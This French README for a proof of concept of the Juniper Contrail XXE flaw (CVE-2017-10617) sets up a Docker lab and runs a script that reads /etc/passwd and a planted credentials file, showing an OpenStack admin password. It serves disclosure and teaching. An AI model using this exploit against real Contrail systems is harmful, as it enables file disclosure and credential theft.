
Preuve de concept d'exploitation pour la vulnérabilité XXE de Juniper Contrail (CVE-2017-10617) avec un environnement de laboratoire basé sur Docker démontrant la divulgation de fichiers locaux et l'extraction d'identifiants.
Ces deux vulnérabilités affectent Juniper Contrail dans les versions 2.2, 3.0, 3.1 et 3.2 :
Le bulletin de sécurité du fournisseur se trouve à l'adresse Juniper Security Alert JSA10819 2017-10.
Le service vulnérable dans le produit Contrail est un démon IFMAP, qui est empaqueté à partir de irond. Pour rester simple, nous allons continuer avec irond et l'exploitation de la vulnérabilité XXE.
Nous aimons tous jouer. Pour construire l'image :
$ cd vulnerable-irond
$ docker build -t vulnerable-irond .
L'image est basée sur l'image alpine maven, avec un clone du dépôt irond.
Un fichier de test correspondant à la configuration de Contrail est placé sur l'image vulnérable à /etc/contrail/openstackrc. Ce fichier contient le mot de passe administrateur OpenStack, qui est un actif plutôt sensible.
Pour démarrer un service IFMAP vulnérable :
$ docker run -ti --rm -p 8443:8443 vulnerable-irond
Le service IFMAP est maintenant disponible sur le port 8443 de la machine locale.
Une fois qu'un service IFMAP vulnérable est configuré, procédez comme suit :
$ ./poc-xxe.py -g /etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
...
$ ./poc-xxe.py -g /etc/contrail/openstackrc
export OS_USERNAME=admin
export OS_PASSWORD=6b000a589c700b077ef9729513e5d6fc
...
Cela révèle effectivement le mot de passe administrateur OpenStack.